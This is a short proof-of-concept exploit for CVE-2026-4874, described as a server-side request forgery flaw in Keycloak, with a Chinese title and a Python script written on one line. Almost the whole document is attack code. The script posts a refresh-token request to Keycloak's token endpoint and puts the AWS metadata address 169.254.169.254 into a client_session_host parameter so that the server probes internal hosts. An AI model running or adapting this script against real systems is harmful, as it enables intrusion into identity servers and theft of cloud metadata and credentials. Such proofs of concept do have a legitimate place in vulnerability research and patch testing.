CVE-2026-4874 Keycloak服务端请求伪造漏洞

# PoC for CVE-2026-4874: Keycloak SSRF via client_session_host # This script demonstrates how an authenticated attacker can manipulate the # client_session_host parameter during a refresh token request to trigger an SSRF. import requests # Configuration TARGET_HOST = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "admin-cli" # Attacker's valid refresh token (obtained after login) REFRESH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Internal target to probe (e.g., AWS metadata, internal admin panel) SSRF_PAYLOAD = "http://169.254.169.254/latest/meta-data/" def exploit_ssrf(): url = f"{TARGET_HOST}/realms/{REALM}/protocol/openid-connect/token" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Exploit payload: The vulnerable parameter client_session_host data = { "grant_type": "refresh_token", "client_id": CLIENT_ID, "refresh_token": REFRESH_TOKEN, "client_session_host": SSRF_PAYLOAD # Malicious internal URL } print(f"[*] Sending SSRF request to {url}...") print(f"[*] Targeting internal host: {SSRF_PAYLOAD}") try: response = requests.post(url, headers=headers, data=data, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check internal logs or response timing for indication of success.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit_ssrf()